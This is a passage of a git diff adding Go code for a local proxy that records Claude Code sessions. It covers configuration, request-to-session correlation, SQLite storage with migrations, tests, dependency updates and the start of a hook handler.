+		{"error string", `{"error":"boom"}`, nil, b(false)},
+		{"interrupted true", `{"interrupted":true,"stdout":"","stderr":""}`, nil, b(false)},
+		{"real bash success shape", `{"interrupted":false,"stdout":"ok","stderr":"","isImage":false}`, nil, nil},
+		{"unknown", `{"stdout":"ok"}`, nil, nil},
+		{"bare string", `"just text"`, nil, nil},
+		{"empty", ``, nil, nil},
+	}
+	for _, c := range cases {
+		t.Run(c.name, func(t *testing.T) {
+			exit, success := extractToolOutcome(json.RawMessage(c.resp))
+			if !eqIntPtr(exit, c.exit) {
+				t.Errorf("exit: got %v want %v", derefInt(exit), derefInt(c.exit))
+			}
+			if !eqBoolPtr(success, c.success) {
+				t.Errorf("success: got %v want %v", derefBool(success), derefBool(c.success))
+			}
+		})
+	}
+}
+
+func eqIntPtr(a, b *int) bool {
+	if a == nil || b == nil {
+		return a == b
+	}
+	return *a == *b
+}
+func eqBoolPtr(a, b *bool) bool {
+	if a == nil || b == nil {
+		return a == b
+	}
+	return *a == *b
+}
+func derefInt(p *int) interface{} {
+	if p == nil {
+		return nil
+	}
+	return *p
+}
+func derefBool(p *bool) interface{} {
+	if p == nil {
+		return nil
+	}
+	return *p
+}
diff --git a/proxy/config.go b/proxy/config.go
new file mode 100644
index 0000000..98f2f69
--- /dev/null
+++ b/proxy/config.go
@@ -0,0 +1,43 @@
+package main
+
+import (
+	"os"
+	"path/filepath"
+)
+
+// Config holds runtime configuration, populated from environment variables.
+type Config struct {
+	ProxyAddr      string // address for the reverse proxy (default :8080)
+	ControlAddr    string // address for the control plane / WebSocket (default :8081)
+	DBPath         string // SQLite database path
+	DashboardToken string // optional bearer token guarding the control plane + WS
+	MaxLiveItems   int    // in-memory cache size for live requests/sessions
+}
+
+// LoadConfig reads configuration from the environment, applying defaults.
+func LoadConfig() Config {
+	cfg := Config{
+		ProxyAddr:      envOr("CCPROXY_PROXY_ADDR", ":8080"),
+		ControlAddr:    envOr("CCPROXY_CONTROL_ADDR", ":8081"),
+		DBPath:         envOr("CCPROXY_DB_PATH", defaultDBPath()),
+		DashboardToken: os.Getenv("CCPROXY_DASHBOARD_TOKEN"),
+		MaxLiveItems:   1000,
+	}
+	return cfg
+}
+
+func envOr(key, fallback string) string {
+	if v := os.Getenv(key); v != "" {
+		return v
+	}
+	return fallback
+}
+
+// defaultDBPath returns ~/.claude-code-proxy/data.db, falling back to ./data.db.
+func defaultDBPath() string {
+	home, err := os.UserHomeDir()
+	if err != nil || home == "" {
+		return "data.db"
+	}
+	return filepath.Join(home, ".claude-code-proxy", "data.db")
+}
diff --git a/proxy/correlation.go b/proxy/correlation.go
new file mode 100644
index 0000000..ba976fc
--- /dev/null
+++ b/proxy/correlation.go
@@ -0,0 +1,271 @@
+package main
+
+import (
+	"encoding/json"
+	"strings"
+	"sync"
+	"time"
+)
+
+// correlationWindow bounds how long after its last activity a session remains eligible for
+// the "most recent active session" fallback correlation.
+const correlationWindow = 30 * time.Minute
+
+// maxTrackedSessions caps the in-memory correlation table; least-recently-active sessions
+// are evicted beyond this.
+const maxTrackedSessions = 256
+
+// minMatchLen is the shortest prompt that may be used for content matching, to avoid
+// trivial substring collisions ("ok", "yes", ...).
+const minMatchLen = 12
+
+// sessionRef is the in-memory correlation view of a session, fed by hook events.
+type sessionRef struct {
+	id         string
+	cwd        string
+	prompts    []string // recent normalized user prompts
+	startedAt  time.Time
+	lastActive time.Time
+	ended      bool
+}
+
+// Correlator maps inbound API requests to the session that most likely produced them.
+// It is fed by the hook ingestion path and queried by the proxy path, so it is safe for
+// concurrent use. Correlation is best-effort by design (the API carries no session id).
+type Correlator struct {
+	mu       sync.Mutex
+	sessions map[string]*sessionRef
+}
+
+// NewCorrelator returns an empty Correlator.
+func NewCorrelator() *Correlator {
+	return &Correlator{sessions: make(map[string]*sessionRef)}
+}
+
+func (c *Correlator) ref(sessionID string, t time.Time) *sessionRef {
+	s, ok := c.sessions[sessionID]
+	if !ok {
+		s = &sessionRef{id: sessionID, startedAt: t}
+		c.sessions[sessionID] = s
+		c.evictLocked()
+	}
+	return s
+}
+
+// OnSessionStart registers a new active session.
+func (c *Correlator) OnSessionStart(sessionID, cwd string, t time.Time) {
+	if sessionID == "" {
+		return
+	}
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	s := c.ref(sessionID, t)
+	s.cwd = cwd
+	s.startedAt = t
+	s.lastActive = t
+	s.ended = false
+}
+
+// OnPrompt records a user prompt for content-based correlation.
+func (c *Correlator) OnPrompt(sessionID, prompt string, t time.Time) {
+	if sessionID == "" {
+		return
+	}
+	norm := normalizeText(prompt)
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	s := c.ref(sessionID, t)
+	s.lastActive = t
+	s.ended = false
+	if len(norm) >= minMatchLen {
+		s.prompts = append(s.prompts, norm)
+		if len(s.prompts) > 8 {
+			s.prompts = s.prompts[len(s.prompts)-8:]
+		}
+	}
+}
+
+// Touch marks any hook activity on a session, keeping it eligible for fallback correlation.
+func (c *Correlator) Touch(sessionID string, t time.Time) {
+	if sessionID == "" {
+		return
+	}
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	s := c.ref(sessionID, t)
+	s.lastActive = t
+}
+
+// OnSessionEnd marks a session ended; it stays eligible for content matching but not for the
+// recency fallback.
+func (c *Correlator) OnSessionEnd(sessionID string, t time.Time) {
+	if sessionID == "" {
+		return
+	}
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	if s, ok := c.sessions[sessionID]; ok {
+		s.ended = true
+		s.lastActive = t
+	}
+}
+
+// Correlate returns the session id that most likely owns an API request observed at time t
+// with the given (already-redacted) request body, or "" if none is plausible.
+func (c *Correlator) Correlate(body []byte, t time.Time) string {
+	reqText := normalizeText(extractLatestUserText(body))
+
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	// Primary: content match against recorded prompts. Apply the same eligibility as the
+	// fallback so a long-ended or stale session can't win on accumulated history text.
+	if len(reqText) >= minMatchLen {
+		var best *sessionRef
+		for _, s := range c.sessions {
+			if s.ended || t.Sub(s.lastActive) > correlationWindow {
+				continue
+			}
+			for _, p := range s.prompts {
+				if strings.Contains(reqText, p) || strings.Contains(p, reqText) {
+					if best == nil || s.lastActive.After(best.lastActive) {
+						best = s
+					}
+					break
+				}
+			}
+		}
+		if best != nil {
+			best.lastActive = t
+			return best.id
+		}
+	}
+
+	// Fallback: most recently active, non-ended session within the window.
+	var best *sessionRef
+	for _, s := range c.sessions {
+		if s.ended {
+			continue
+		}
+		if t.Sub(s.lastActive) > correlationWindow {
+			continue
+		}
+		if best == nil || s.lastActive.After(best.lastActive) {
+			best = s
+		}
+	}
+	if best != nil {
+		best.lastActive = t
+		return best.id
+	}
+	return ""
+}
+
+// evictLocked drops least-recently-active sessions when the table grows too large.
+// Caller must hold the lock.
+func (c *Correlator) evictLocked() {
+	if len(c.sessions) <= maxTrackedSessions {
+		return
+	}
+	var oldestID string
+	var oldest time.Time
+	first := true
+	for id, s := range c.sessions {
+		if first || s.lastActive.Before(oldest) {
+			oldest = s.lastActive
+			oldestID = id
+			first = false
+		}
+	}
+	if oldestID != "" {
+		delete(c.sessions, oldestID)
+	}
+}
+
+// normalizeText lowercases and collapses whitespace for stable matching.
+func normalizeText(s string) string {
+	return strings.Join(strings.Fields(strings.ToLower(s)), " ")
+}
+
+// extractLatestUserText pulls the most recent user-authored text out of an API request body,
+// handling Anthropic/OpenAI chat `messages` and the OpenAI Responses API `input` shapes.
+func extractLatestUserText(body []byte) string {
+	if len(body) == 0 {
+		return ""
+	}
+	var parsed struct {
+		Messages []json.RawMessage `json:"messages"`
+		Input    json.RawMessage   `json:"input"`
+	}
+	if err := json.Unmarshal(body, &parsed); err != nil {
+		return ""
+	}
+
+	// chat-style messages: walk backwards for the last user message.
+	for i := len(parsed.Messages) - 1; i >= 0; i-- {
+		var m struct {
+			Role    string          `json:"role"`
+			Content json.RawMessage `json:"content"`
+		}
+		if err := json.Unmarshal(parsed.Messages[i], &m); err != nil {
+			continue
+		}
+		if m.Role != "user" {
+			continue
+		}
+		if txt := contentText(m.Content); txt != "" {
+			return txt
+		}
+	}
+
+	// Responses API input: string or array of items.
+	if len(parsed.Input) > 0 {
+		var s string
+		if json.Unmarshal(parsed.Input, &s) == nil && s != "" {
+			return s
+		}
+		var items []struct {
+			Role    string          `json:"role"`
+			Content json.RawMessage `json:"content"`
+		}
+		if json.Unmarshal(parsed.Input, &items) == nil {
+			for i := len(items) - 1; i >= 0; i-- {
+				// Only true user turns are a valid correlation key; items like
+				// function_call_output carry tool text, not the user's prompt.
+				if items[i].Role != "user" {
+					continue
+				}
+				if txt := contentText(items[i].Content); txt != "" {
+					return txt
+				}
+			}
+		}
+	}
+	return ""
+}
+
+// contentText extracts plain text from a message "content" value that may be a string or an
+// array of typed blocks ({type:"text"|"input_text", text:"..."}).
+func contentText(raw json.RawMessage) string {
+	if len(raw) == 0 {
+		return ""
+	}
+	var s string
+	if json.Unmarshal(raw, &s) == nil {
+		return s
+	}
+	var blocks []struct {
+		Type string `json:"type"`
+		Text string `json:"text"`
+	}
+	if json.Unmarshal(raw, &blocks) == nil {
+		var parts []string
+		for _, b := range blocks {
+			if b.Text != "" {
+				parts = append(parts, b.Text)
+			}
+		}
+		return strings.Join(parts, " ")
+	}
+	return ""
+}
diff --git a/proxy/correlation_test.go b/proxy/correlation_test.go
new file mode 100644
index 0000000..0a58b0d
--- /dev/null
+++ b/proxy/correlation_test.go
@@ -0,0 +1,98 @@
+package main
+
+import (
+	"testing"
+	"time"
+)
+
+func TestExtractLatestUserText(t *testing.T) {
+	cases := []struct {
+		name string
+		body string
+		want string
+	}{
+		{
+			"anthropic string content",
+			`{"messages":[{"role":"user","content":"hello"},{"role":"assistant","content":"hi"},{"role":"user","content":"fix the billing webhook"}]}`,
+			"fix the billing webhook",
+		},
+		{
+			"anthropic block content",
+			`{"messages":[{"role":"user","content":[{"type":"text","text":"run the tests please"}]}]}`,
+			"run the tests please",
+		},
+		{
+			"responses api string input",
+			`{"input":"refactor the parser"}`,
+			"refactor the parser",
+		},
+		{
+			"responses api array input",
+			`{"input":[{"role":"user","content":[{"type":"input_text","text":"add a flag"}]}]}`,
+			"add a flag",
+		},
+		{"empty", ``, ""},
+	}
+	for _, c := range cases {
+		t.Run(c.name, func(t *testing.T) {
+			if got := extractLatestUserText([]byte(c.body)); got != c.want {
+				t.Fatalf("got %q want %q", got, c.want)
+			}
+		})
+	}
+}
+
+func TestCorrelatorContentMatch(t *testing.T) {
+	c := NewCorrelator()
+	base := time.Now()
+	c.OnSessionStart("sess-A", "/repo/a", base)
+	c.OnSessionStart("sess-B", "/repo/b", base)
+	c.OnPrompt("sess-B", "fix the failing billing webhook test", base.Add(time.Second))
+
+	// Request whose user text contains the prompt should bind to sess-B even though sess-A
+	// is also active.
+	body := `{"messages":[{"role":"user","content":"Context...\n\nfix the failing billing webhook test"}]}`
+	got := c.Correlate([]byte(body), base.Add(2*time.Second))
+	if got != "sess-B" {
+		t.Fatalf("content match: got %q want sess-B", got)
+	}
+}
+
+func TestCorrelatorFallbackToMostRecentActive(t *testing.T) {
+	c := NewCorrelator()
+	base := time.Now()
+	c.OnSessionStart("sess-old", "/repo/old", base)
+	c.OnSessionStart("sess-new", "/repo/new", base.Add(time.Minute))
+
+	// No prompt recorded; unmatched body falls back to the most recently active session.
+	body := `{"messages":[{"role":"user","content":"some unrelated request text here"}]}`
+	got := c.Correlate([]byte(body), base.Add(2*time.Minute))
+	if got != "sess-new" {
+		t.Fatalf("fallback: got %q want sess-new", got)
+	}
+}
+
+func TestCorrelatorEndedExcludedFromFallback(t *testing.T) {
+	c := NewCorrelator()
+	base := time.Now()
+	c.OnSessionStart("sess-X", "/repo/x", base)
+	c.OnSessionEnd("sess-X", base.Add(time.Second))
+
+	body := `{"messages":[{"role":"user","content":"anything at all goes here"}]}`
+	got := c.Correlate([]byte(body), base.Add(2*time.Second))
+	if got != "" {
+		t.Fatalf("ended session should not be a fallback target, got %q", got)
+	}
+}
+
+func TestCorrelatorOutsideWindow(t *testing.T) {
+	c := NewCorrelator()
+	base := time.Now()
+	c.OnSessionStart("sess-stale", "/repo", base)
+
+	body := `{"messages":[{"role":"user","content":"a request long after activity"}]}`
+	got := c.Correlate([]byte(body), base.Add(correlationWindow+time.Minute))
+	if got != "" {
+		t.Fatalf("stale session beyond window should not match, got %q", got)
+	}
+}
diff --git a/proxy/db.go b/proxy/db.go
new file mode 100644
index 0000000..b5658df
--- /dev/null
+++ b/proxy/db.go
@@ -0,0 +1,70 @@
+package main
+
+import (
+	"database/sql"
+	_ "embed"
+	"fmt"
+	"net/url"
+	"os"
+	"path/filepath"
+	"strings"
+
+	_ "modernc.org/sqlite"
+)
+
+//go:embed schema.sql
+var schemaSQL string
+
+// openDB opens (creating parent dirs as needed) the SQLite database and applies the schema.
+// A single connection is used to keep writes serialized and avoid SQLITE_BUSY for this
+// local single-process recorder.
+func openDB(path string) (*sql.DB, error) {
+	if dir := filepath.Dir(path); dir != "" && dir != "." {
+		if err := os.MkdirAll(dir, 0o755); err != nil {
+			return nil, fmt.Errorf("create db dir: %w", err)
+		}
+	}
+
+	dsn := fmt.Sprintf(
+		"file:%s?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)&_pragma=foreign_keys(0)",
+		url.PathEscape(path),
+	)
+	db, err := sql.Open("sqlite", dsn)
+	if err != nil {
+		return nil, fmt.Errorf("open db: %w", err)
+	}
+	db.SetMaxOpenConns(1)
+
+	if _, err := db.Exec(schemaSQL); err != nil {
+		db.Close()
+		return nil, fmt.Errorf("apply schema: %w", err)
+	}
+	if err := migrate(db); err != nil {
+		db.Close()
+		return nil, fmt.Errorf("migrate: %w", err)
+	}
+	return db, nil
+}
+
+// migrate applies additive ALTER TABLE column adds that CREATE TABLE IF NOT EXISTS can't
+// perform on pre-existing databases. Adding a column that already exists is ignored, so this
+// is safe to run on both fresh and older databases.
+func migrate(db *sql.DB) error {
+	adds := []struct{ table, col, def string }{
+		{"sessions", "package_manager", "TEXT"},
+		{"session_events", "command", "TEXT"},
+		{"session_events", "command_category", "TEXT"},
+		{"session_events", "package_manager", "TEXT"},
+		{"session_events", "exit_code", "INTEGER"},
+		{"session_events", "success", "INTEGER"},
+		{"session_events", "tool_use_id", "TEXT"},
+		{"session_events", "prompt_id", "TEXT"},
+	}
+	for _, a := range adds {
+		_, err := db.Exec("ALTER TABLE " + a.table + " ADD COLUMN " + a.col + " " + a.def)
+		if err != nil && !strings.Contains(err.Error(), "duplicate column name") {
+			return fmt.Errorf("add %s.%s: %w", a.table, a.col, err)
+		}
+	}
+	return nil
+}
diff --git a/proxy/db_test.go b/proxy/db_test.go
new file mode 100644
index 0000000..9a0f065
--- /dev/null
+++ b/proxy/db_test.go
@@ -0,0 +1,55 @@
+package main
+
+import (
+	"database/sql"
+	"path/filepath"
+	"testing"
+
+	_ "modernc.org/sqlite"
+)
+
+// TestOpenDBIdempotent ensures opening an already-initialized DB (schema + migrate re-run)
+// succeeds — i.e. ALTER TABLE ADD COLUMN on existing columns is ignored.
+func TestOpenDBIdempotent(t *testing.T) {
+	path := filepath.Join(t.TempDir(), "idem.db")
+	db1, err := openDB(path)
+	if err != nil {
+		t.Fatalf("first open: %v", err)
+	}
+	db1.Close()
+	db2, err := openDB(path)
+	if err != nil {
+		t.Fatalf("second open (migrate re-run): %v", err)
+	}
+	db2.Close()
+}
+
+// TestMigrateAddsColumnsToOldSchema simulates a pre-enrichment database (session_events
+// without the command/outcome columns) and verifies migrate() adds them without error.
+func TestMigrateAddsColumnsToOldSchema(t *testing.T) {
+	path := filepath.Join(t.TempDir(), "old.db")
+	db, err := sql.Open("sqlite", "file:"+path)
+	if err != nil {
+		t.Fatalf("open: %v", err)
+	}
+	defer db.Close()
+
+	// Old-shape tables (missing package_manager / command / exit_code / success).
+	if _, err := db.Exec(`
+CREATE TABLE sessions (id TEXT PRIMARY KEY, model TEXT);
+CREATE TABLE session_events (id TEXT PRIMARY KEY, seq INTEGER, type TEXT);`); err != nil {
+		t.Fatalf("create old schema: %v", err)
+	}
+
+	if err := migrate(db); err != nil {
+		t.Fatalf("migrate old schema: %v", err)
+	}
+
+	// New columns must now be usable.
+	if _, err := db.Exec(`INSERT INTO session_events (id, seq, type, command, command_category, package_manager, exit_code, success, tool_use_id, prompt_id) VALUES ('e1', 1, 'tool.call', 'npm test', 'test', 'npm', 1, 0, 'tu_1', 'p_1')`); err != nil {
+		t.Fatalf("insert with new columns: %v", err)
+	}
+	if _, err := db.Exec(`UPDATE sessions SET package_manager='pnpm' WHERE id='none'`); err != nil {
+		t.Fatalf("use sessions.package_manager: %v", err)
+	}
+}
diff --git a/proxy/go.mod b/proxy/go.mod
index 81b326a..5005e03 100644
--- a/proxy/go.mod
+++ b/proxy/go.mod
@@ -1,10 +1,30 @@
 module github.com/damascus/proxy
 
-go 1.21
+go 1.18
 
 require (
 	github.com/google/uuid v1.6.0
 	github.com/gorilla/websocket v1.5.1
+	modernc.org/sqlite v1.22.1
 )
 
-require golang.org/x/net v0.17.0 // indirect
+require (
+	github.com/dustin/go-humanize v1.0.1 // indirect
+	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
+	github.com/mattn/go-isatty v0.0.16 // indirect
+	github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
+	golang.org/x/mod v0.3.0 // indirect
+	golang.org/x/net v0.17.0 // indirect
+	golang.org/x/sys v0.13.0 // indirect
+	golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78 // indirect
+	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	lukechampine.com/uint128 v1.2.0 // indirect
+	modernc.org/cc/v3 v3.40.0 // indirect
+	modernc.org/ccgo/v3 v3.16.13 // indirect
+	modernc.org/libc v1.22.5 // indirect
+	modernc.org/mathutil v1.5.0 // indirect
+	modernc.org/memory v1.5.0 // indirect
+	modernc.org/opt v0.1.3 // indirect
+	modernc.org/strutil v1.1.3 // indirect
+	modernc.org/token v1.0.1 // indirect
+)
diff --git a/proxy/go.sum b/proxy/go.sum
index 40286fc..b84e070 100644
--- a/proxy/go.sum
+++ b/proxy/go.sum
@@ -1,6 +1,70 @@
+github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
+github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
+github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
+github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
 github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
 github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
 github.com/gorilla/websocket v1.5.1 h1:gmztn0JnHVt9JZquRuzLw3g4wouNVzKL15iLr/zn/QY=
 github.com/gorilla/websocket v1.5.1/go.mod h1:x3kM2JMyaluk02fnUJpQuwD2dCS5NDG2ZHL0uE0tcaY=
+github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
+github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
+github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ=
+github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
+github.com/mattn/go-sqlite3 v1.14.16 h1:yOQRA0RpS5PFz/oikGwBEqvAWhWg5ufRz4ETLjwpU1Y=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
+github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
+github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
+github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
+golang.org/x/mod v0.3.0 h1:RM4zey1++hCTbCVQfnWeKs9/IEsaBLA8vTkd0WVtmH4=
+golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
 golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
 golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
+golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78 h1:M8tBwCtWD/cZV9DZpFYRUgaymAYAr+aIUTWzDaM3uPs=
+golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
+golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
+lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
+modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
+modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
+modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
+modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
+modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
+modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
+modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE=
+modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY=
+modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
+modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
+modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds=
+modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
+modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
+modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
+modernc.org/sqlite v1.22.1 h1:P2+Dhp5FR1RlVRkQ3dDfCiv3Ok8XPxqpe70IjYVA9oE=
+modernc.org/sqlite v1.22.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk=
+modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
+modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
+modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY=
+modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
+modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
+modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
diff --git a/proxy/hooks.go b/proxy/hooks.go
new file mode 100644
index 0000000..2cd8f78
--- /dev/null
+++ b/proxy/hooks.go
@@ -0,0 +1,349 @@
+package main
+
+import (
+	"encoding/json"
+	"io"
+	"log"
+	"net/http"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/google/uuid"
+)
+
+const maxHookBody = 5 << 20 // 5 MiB
+
+// SessionManager owns all mutations to session state — both hook-driven (lifecycle, prompts,
+// tool events) and request-driven (token/usage aggregation). A single mutex serializes the
+// read-modify-write cycles against the repository so concurrent hooks and proxy traffic can't
+// corrupt a session row.
+type SessionManager struct {
+	repo     Repository
+	corr     *Correlator
+	hub      *WSHub
+	redactor *Redactor
+	mu       sync.Mutex
+}
+
+// NewSessionManager wires the session manager to its collaborators.
+func NewSessionManager(repo Repository, corr *Correlator, hub *WSHub, redactor *Redactor) *SessionManager {
+	return &SessionManager{repo: repo, corr: corr, hub: hub, redactor: redactor}
+}
+
+// HandleHook ingests a raw Claude Code hook payload, updates the owning session, appends a
+// normalized timeline event, and broadcasts the change. It always responds quickly and
+// non-blockingly so it never stalls the CLI.
+func (m *SessionManager) HandleHook(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodPost {
+		http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
+		return
+	}
+	raw, err := io.ReadAll(io.LimitReader(r.Body, maxHookBody))
+	if err != nil {
